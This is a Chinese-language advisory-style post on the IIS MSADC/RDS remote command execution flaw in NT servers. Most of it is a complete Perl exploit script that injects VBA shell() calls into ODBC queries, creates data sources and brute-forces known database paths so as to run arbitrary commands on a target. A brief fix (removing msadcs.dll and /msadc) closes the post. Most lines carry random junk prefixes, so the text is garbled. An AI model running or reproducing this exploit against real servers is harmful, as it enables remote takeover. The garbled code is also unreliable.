IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&>Nw>V 5o Y^; )\/ 涉及程序：
! X<dN.. Microsoft NT server
bR83N B d?{ldg 描述：
9.l*#A^
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:>m67Zq ~|8-Mo1ce 详细：
/G!M\teeF 如果你没有时间读详细内容的话，就删除:
a~Y`N73/c c:\Program Files\Common Files\System\Msadc\msadcs.dll
y9Q.TL>=[ 有关的安全问题就没有了。
I73=PfS:m
D ~t 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Gx h1wqLR JR4fJG 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Qis/'9a 关于利用ODBC远程漏洞的描述，请参看:
!,cfA';S y3@5~ 4+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7toDk$jJRg '>#8
F. 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
`:YCOF http://www.microsoft.com/security/bulletins/MS99-025faq.asp wp>L}! Ws:MbZyr 这里不再论述。
lWk/vj<5 g,}_&+q:.M 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
AkVgFQg"
n CjUYwAy$k /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
J*+[?FXRL 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
}]|e0 w: ({ WV<T& UKp^TW1^ #将下面这段保存为txt文件，然后: "perl -x 文件名"
z--Y I@:" Qee #!perl
:r}C&3 #
..UA*#%1 # MSADC/RDS 'usage' (aka exploit) script
b-HELS`nX #
=&roL7ps # by rain.forest.puppy
lHc9D #
J3_Ou2cF` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?O Vje9 # beta test and find errors!
80 ck h ZP9x3MHe use Socket; use Getopt::Std;
w7b\?]}@ getopts("e:vd:h:XR", \%args);
gvoYyO#cm ;={3H_{3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:?SD#Vvrh. ayQ2#9X} if (!defined $args{h} && !defined $args{R}) {
@IV,sz e print qq~
/o9
0O& Usage: msadc.pl -h <host> { -d <delay> -X -v }
@z>DJ>htN -h <host> = host you want to scan (ip or domain)
$) m$ c5! -d <seconds> = delay between calls, default 1 second
>Et~h65d5 -X = dump Index Server path table, if available
QM@zy -v = verbose
vF1Fcp.@ -e = external dictionary file for step 5
#|=Q5"wU ~,.'#=V Or a -R will resume a command session
(h'Bz6 K 8yk4 #CZ ~; exit;}
u9 N /9 ~]SCf@pRk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U< <XeSp if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
l"/E, X if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|!{ Y :f; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
UT0}Ce>e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
WV}HN if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;. =]Ar} Q hdG(`PY~ if (!defined $args{R}){ $ret = &has_msadc;
J T6} m die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
R5&<\RI0 oSIP{lfp2Q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%F\.1\&eE . "cmd /c ";
\}W ! $in=<STDIN>; chomp $in;
k/1 S7X[ $command="cmd /c " . $in ;
#HZ W57" #_ Wk V if (defined $args{R}) {&load; exit;}
>R5A@0@d5 U9 jdb9 | print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-kHJH><j &try_btcustmr;
}42Hhu7j S0M i print "\nStep 2: Trying to make our own DSN...";
kPoz&e_@ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&4ndi=.#rg F}=_"IkZ print "\nStep 3: Trying known DSNs...";
n|Ts:>`V &known_dsn;
bOSqD[? o`G6! print "\nStep 4: Trying known .mdbs...";
TbLU[(m-n &known_mdb;
k(o(:-+x &hrMpD6z6i if (defined $args{e}){
rgDl%X2B print "\nStep 5: Trying dictionary of DSN names...";
"!CVm{7[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
U ({N'y= uQ|LkL%< ^ print "Sorry Charley...maybe next time?\n";
;" Aj80 exit;
P^!g0K 6TTu[*0NT ##############################################################################
(<rE1w2s: h=\1ZQKC) sub sendraw { # ripped and modded from whisker
"?<(-,T sleep($delay); # it's a DoS on the server! At least on mine...
K1o>>388G my ($pstr)=@_;
KDP"z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
J% n#uUs die("Socket problems\n");
y4l-o if(connect(S,pack "SnA4x8",2,80,$target)){
P&=YLL<W select(S); $|=1;
?|WoNA~j}` print $pstr; my @in=<S>;
QO0@A x\b select(STDOUT); close(S);
[oXSjLQ m[ return @in;
<$K=3&:s8q } else { die("Can't connect...\n"); }}
K^o{lyK;@~ k` &FyN^) ##############################################################################
T+aNX/c|> LT>_Y`5> sub make_header { # make the HTTP request
V)`A,7X my $msadc=<<EOT
l0;u$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FPkk\[EU User-Agent: ACTIVEDATA
?i V}U Host: $ip
lJN#_V0qW Content-Length: $clen
tQRbNY# }Z Connection: Keep-Alive
e$_gO wB ^#C+l ADCClientVersion:01.06
]f?r@U'AS| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
U<;{_!] VcXr!4 M --!ADM!ROX!YOUR!WORLD!
[[]y Q
" Content-Type: application/x-varg
mtkZF{3Jx Content-Length: $reqlen
YFPse.2$a ^;h\#S[% EOT
J[r_ag ; $msadc=~s/\n/\r\n/g;
&WL N return $msadc;}
Y0kcx pK/ qo 7<g*kf~ ##############################################################################
O`1!&XT{x R+0gn/a[ G sub make_req { # make the RDS request
QI U%!9Y my ($switch, $p1, $p2)=@_;
SP<Sv8Okj my $req=""; my $t1, $t2, $query, $dsn;
V6](_w! =,q/FY: if ($switch==1){ # this is the btcustmr.mdb query
p7Zeudmj $query="Select * from Customers where City=" . make_shell();
wJJ|]^0. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
WRku Pj2 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|v@_~HV sk<S`J,M/_ elsif ($switch==2){ # this is general make table query
568M4xzi $query="create table AZZ (B int, C varchar(10))";
OmZZTeGg1s $dsn="$p1";}
t Dah@_ : UH*Wft1 elsif ($switch==3){ # this is general exploit table query
7VZ ^J`3 $query="select * from AZZ where C=" . make_shell();
l{.PyU5) $dsn="$p1";}
#y7 MB6- Z L0k elsif ($switch==4){ # attempt to hork file info from index server
bZgo}`o% $query="select path from scope()";
FZ<6 kk4 $dsn="Provider=MSIDXS;";}
T,a{mi.hNR .t>SbGC elsif ($switch==5){ # bad query
roAHkI $query="select";
Gs|a$^V|o $dsn="$p1";}
% rnRy<9 h(}#s1Fzq $t1= make_unicode($query);
6tP!( $t2= make_unicode($dsn);
SJO*g&duQ $req = "\x02\x00\x03\x00";
}*%=C!m4R! $req.= "\x08\x00" . pack ("S1", length($t1));
Lw^%<.DM+t $req.= "\x00\x00" . $t1 ;
s"nntC $req.= "\x08\x00" . pack ("S1", length($t2));
FMn|cO.vEP $req.= "\x00\x00" . $t2 ;
h82y9($cZ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
f>mEX='w return $req;}
! @Vj&>mH$ A>F&b1 ##############################################################################
cdH`#X bzZdj6>kX sub make_shell { # this makes the shell() statement
L{&1w return "'|shell(\"$command\")|'";}
WTt
/y\'6 <?8cVLW} O ##############################################################################
\ !uf*=d s/E9$*0 sub make_unicode { # quick little function to convert to unicode
Qd% (]L[N. my ($in)=@_; my $out;
_h=h43'3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Gb Mu;CA return $out;}
o!y<:CGL u|EJ)d T? ##############################################################################
U'5p;j)_ C5Fq%y{ $. sub rdo_success { # checks for RDO return success (this is kludge)
?W?n l:F my (@in) = @_; my $base=content_start(@in);
[vY)y\W{ if($in[$base]=~/multipart\/mixed/){
l`0JL7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
\[+':o`LH return 0;}
biffBC:q 5HvYy
*B/ ##############################################################################
Ai)Q(] j}jU .\*v< sub make_dsn { # this makes a DSN for us
FuBUg _h my @drives=("c","d","e","f");
Dn~t _ n print "\nMaking DSN: ";
;lTgihW- foreach $drive (@drives) {
*;t_V laZ print "$drive: ";
,0>_(5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
S |@
Y ! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
W"xRf0\V . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Uf[Gs/!NV $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
"bO]AG return 0 if $2 eq "404"; # not found/doesn't exist
yAel4b/} if($2 eq "200") {
)GC[xo4bg foreach $line (@results) {
Rg~[X5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
aMJ9U )wnK } return 0;}
ooYs0/,{ 9 & Od7Cn
##############################################################################
R ta_\Aj! AlgVsE%Va sub verify_exists {
Ahg6>7+R. my ($page)=@_;
u C`)?f*I my @results=sendraw("GET $page HTTP/1.0\n\n");
qRZLv7X*j return $results[0];}
iF+50d (W`=`] ! ##############################################################################
GlXzH1wZ YjG:ECj} sub try_btcustmr {
Dw2 $#d my @drives=("c","d","e","f");
Yg`z4 U'6~ my @dirs=("winnt","winnt35","winnt351","win","windows");
FkoN+\d f^Xf I H_# foreach $dir (@dirs) {
FEg&EYI
print "$dir -> "; # fun status so you can see progress
3+ %L[fW`/ foreach $drive (@drives) {
}KrZ6cG9# print "$drive: "; # ditto
#+P)X_i` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\6Hu&WHy $reqlenlen=length( "$reqlen" );
<.6$zcW $clen= 206 + $reqlenlen + $reqlen;
~48mCD ~E7=c3:" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
DfP
vi1 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3 s Ge#s% else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
j,JGs[A Ibl==Irk ##############################################################################
)8Sm}aC -z L xT sub odbc_error {
$yg}HS7HC my (@in)=@_; my $base;
nbz?D_ my $base = content_start(@in);
kv3jbSKCT if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[mk !] r $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xo_Es? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y3I+TI>x $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7: T 5P return $in[$base+4].$in[$base+5].$in[$base+6];}
zc-.W2"Hu print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
kQm\;[R print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M0% ):P?x $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
)zVD!eG_9 X\1'd,V ##############################################################################
#fYz367> %.D @{O sub verbose {
N5[fw z
w my ($in)=@_;
~8E G0F;t return if !$verbose;
t1
.6+ print STDOUT "\n$in\n";}
vrIM!~*W Si]8*> }-B ##############################################################################
hzc2 c.gcF n2H2 G_-L[ sub save {
KdOy3O_5N my ($p1, $p2, $p3, $p4)=@_;
rT
~qoA\ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
S<LHNZu|^A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
A{ hWFSv close OUT;}
<H~ (iQ Aj 4i}pT ##############################################################################
HtIM 8z#/ t
<#Yr%a sub load {
I=pT fkTT my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T ;} pMRd% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
p9 |r y+t @p=<IN>; close(IN);
gKS0!U $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8<6;X7<- $target= inet_aton($ip) || die("inet_aton problems");
e p;_' print "Resuming to $ip ...";
d7tH~9GX8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
hun/H4f| if($p[1]==1) {
810u +%fu $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r!etj3 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
?+b )=Z my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1NT@}j~/ if (rdo_success(@results)){print "Success!\n";}
!K1[o'o# else { print "failed\n"; verbose(odbc_error(@results));}}
# f~#38_ elsif ($p[1]==3){
oO>mGl36H if(run_query("$p[3]")){
UMw1&"0: print "Success!\n";} else { print "failed\n"; }}
BxO8oKe elsif ($p[1]==4){
~ FM5]<X) if(run_query($drvst . "$p[3]")){
X% S ?o print "Success!\n"; } else { print "failed\n"; }}
Ah28D!Gor exit;}
}0|,*BkI
m m
Fwx},dl ##############################################################################
=g$%. FU~ Ip sub create_table {
`(EY/EsY my ($in)=@_;
<`b)56v:+ $reqlen=length( make_req(2,$in,"") ) - 28;
/e6 \F7 $reqlenlen=length( "$reqlen" );
-D0kp~AO4N $clen= 206 + $reqlenlen + $reqlen;
u:3~Ius my @results=sendraw(make_header() . make_req(2,$in,""));
Q'&oSPXSDd return 1 if rdo_success(@results);
Y: oL my $temp= odbc_error(@results); verbose($temp);
j} 'spKxu return 1 if $temp=~/Table 'AZZ' already exists/;
kA {[k return 0;}
mHUQtGAVQ 7g cr$&+e ##############################################################################
kf>oZ*/ hkee,PiiP sub known_dsn {
sME 3s- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
2}[)y\`t3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9^<t0oY "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5vxJ|Hse@ "banner", "banners", "ads", "ADCDemo", "ADCTest");
=U!M,zw4 g>A*kY foreach $dSn (@dsns) {
{A2(a7v V print ".";
K 38e,O next if (!is_access("DSN=$dSn"));
htj:Z: C` if(create_table("DSN=$dSn")){
<T+)~&g$ print "$dSn successful\n";
Wqy|Y*$qT if(run_query("DSN=$dSn")){
KyK%2: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O{uc
h print "Something's borked. Use verbose next time\n";}}} print "\n";}
6Lr G+p` z;JyHC) ##############################################################################
j
B S$xW Stq&^S\x69 sub is_access {
J wL}|o6 my ($in)=@_;
F~2bCy[Z $reqlen=length( make_req(5,$in,"") ) - 28;
P3UU~w+s $reqlenlen=length( "$reqlen" );
L\) ssO uh $clen= 206 + $reqlenlen + $reqlen;
$8vZiB!" my @results=sendraw(make_header() . make_req(5,$in,""));
sygxV my $temp= odbc_error(@results);
4t]ccqX*{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^pruQp1X return 0;}
awkPF A*c' FD:3;nUY7 ##############################################################################
U KV0xl
7ESSx"^B sub run_query {
lZ|+.T!g? my ($in)=@_;
r==d^ $reqlen=length( make_req(3,$in,"") ) - 28;
.\XFhOs a $reqlenlen=length( "$reqlen" );
$`,10uw $clen= 206 + $reqlenlen + $reqlen;
Z;Q2tT /F my @results=sendraw(make_header() . make_req(3,$in,""));
h|qTMwPr return 1 if rdo_success(@results);
4&%0% my $temp= odbc_error(@results); verbose($temp);
fUj[E0yOF return 0;}
AX($LIy9P Od_xH ##############################################################################
}z %fQbw Rp .42v#ck sub known_mdb {
$eHYy,, my @drives=("c","d","e","f","g");
>T84NFdz+ my @dirs=("winnt","winnt35","winnt351","win","windows");
x*>@knP<- my $dir, $drive, $mdb;
OlRtVp1 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o%3i( H )oqNQ'yZ # this is sparse, because I don't know of many
7PTw' +{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
^UU@7cSi|G "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\f~m6j$D_ "\\system32\\certmdb.mdb",
Td,2.YMQ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Kk.a9uKI} +;r1AR1)x my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
U{1%ldOJ% "\\cfusion\\cfapps\\forums\\forums_.mdb",
X1 DE "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3CL1Z\8To "\\cfusion\\cfapps\\security\\realm_.mdb",
Fnqj ^5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^wass_8 "\\cfusion\\database\\cfexamples.mdb",
^^
>j2= "\\cfusion\\database\\cfsnippets.mdb",
M./1.k&@ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,9,cN-/a "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
jVlXB6[- "\\cfusion\\brighttiger\\database\\cleam.mdb",
3+[; "\\cfusion\\database\\smpolicy.mdb",
\/XU v( "\\cfusion\\database\cypress.mdb",
Ml,~@}
p "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
G VT|
fE "\\website\\cgi-win\\dbsample.mdb",
,FIG5-e,} "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
V h ?5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
kz0pX- @b ); #these are just
#~}4< 18 foreach $drive (@drives) {
y^0
mf| foreach $dir (@dirs){
gQQve{' foreach $mdb (@sysmdbs) {
8|JPQDS7 print ".";
?,}:)oA_ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
953GmNZ7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(usFT_ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Y{K N:|i.! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
v[ ~ ~q } else { print "Something's borked. Use verbose next time\n"; }}}}}
/07iQcT( mX2X.ww(4 foreach $drive (@drives) {
jXPf}{^ foreach $mdb (@mdbs) {
- ,186ZVZ print ".";
w` GjQIA if(create_table($drv . $drive . $dir . $mdb)){
zK_Q^M` print "\n" . $drive . $dir . $mdb . " successful\n";
''^2rF^ if(run_query($drv . $drive . $dir . $mdb)){
y$Fk0s*> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]qb>O:T } else { print "Something's borked. Use verbose next time\n"; }}}}
ajCe&+ }
Z-j?N{3& fQU5' wGp ##############################################################################
cb=ixn fJ GwT sub hork_idx {
&>n:7 print "\nAttempting to dump Index Server tables...\n";
ffW-R)U|3 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
- {2Vz[ [ $reqlen=length( make_req(4,"","") ) - 28;
XqLR2 d $reqlenlen=length( "$reqlen" );
,UYe OM2Ao $clen= 206 + $reqlenlen + $reqlen;
h[bC#( my @results=sendraw2(make_header() . make_req(4,"",""));
3mQ3mV: if (rdo_success(@results)){
'7<^x>D|
my $max=@results; my $c; my %d;
:jAsm[ for($c=19; $c<$max; $c++){
:FUxe kz $results[$c]=~s/\x00//g;
Qo/pz2N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
%0 p9\I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`*o ko[\3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
(fYYcpd,k $d{"$1$2"}="";}
q*K[? foreach $c (keys %d){ print "$c\n"; }
,\ -4X } else {print "Index server doesn't seem to be installed.\n"; }}
6&"*{E i"0*)$
h W ##############################################################################
e/uLBZ : *M2@ sub dsn_dict {
sa}.o Zp Q open(IN, "<$args{e}") || die("Can't open external dictionary\n");
w7E#mdW while(<IN>){
U#x`u|L&6 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
c8N pk< next if (!is_access("DSN=$dSn"));
zh{I;~syh if(create_table("DSN=$dSn")){
(M?V B*sm0 print "$dSn successful\n";
ov5g`uud if(run_query("DSN=$dSn")){
)gx*; z@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t*`G@Nj print "Something's borked. Use verbose next time\n";}}}
5g`J}@"k print "\n"; close(IN);}
#Vhr 1 ;j > guX,hx^ ##############################################################################
R2==<" gq
dy ~M5,zn sub sendraw2 { # ripped and modded from whisker
;Kh[6{ W sleep($delay); # it's a DoS on the server! At least on mine...
8%`h:fE my ($pstr)=@_;
%J+ w9Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+y_V$q$G die("Socket problems\n");
usN q] if(connect(S,pack "SnA4x8",2,80,$target)){
ec,Bu7'8 print "Connected. Getting data";
\=[38?QOY open(OUT,">raw.out"); my @in;
Xyu0n p;@ select(S); $|=1; print $pstr;
y: ] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
]5Q)mWF close(OUT); select(STDOUT); close(S); return @in;
IrIW>r} - } else { die("Can't connect...\n"); }}
g,G{%dGsk | 2G rOM&S ##############################################################################
_&N:%;9uD *Z+U}QhHD6 sub content_start { # this will take in the server headers
,
{}S<^?] my (@in)=@_; my $c;
RWB ]uHzE for ($c=1;$c<500;$c++) {
P_P~c ~o if($in[$c] =~/^\x0d\x0a/){
V#B'm?aQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
yjOZed;M else { return $c+1; }}}
k~2FlRoC^ return -1;} # it should never get here actually
tI 7H4\ AG\> ##############################################################################
Ld'3uM/ t R .>d sub funky {
"u'dd3! my (@in)=@_; my $error=odbc_error(@in);
-M+o ; if($error=~/ADO could not find the specified provider/){
S"fq E% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
R2qz>kyyB exit;}
uF{l`|b' if($error=~/A Handler is required/){
<vzU}JA\ print "\nServer has custom handler filters (they most likely are patched)\n";
=I9 hGj6 exit;}
XM 3~] if($error=~/specified Handler has denied Access/){
Odm1;\=Eg+ print "\nServer has custom handler filters (they most likely are patched)\n";
rc f#8 exit;}}
*o6QB b p`S~UBcL. ##############################################################################
z<s ~ ` 7 H)tF&
sub has_msadc {
?IDkDv!na~ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
DG=_E\"# my $base=content_start(@results);
@7sHFwtar? return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,D.@6 bJW return 0;}
2h) * bWZ
oGFT ########################
w[uw hd )"Wy/P H:t2;Z' 解决方案：
t4p-pH'9b 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"/x/]Qx2 2、移除web 目录: /msadc
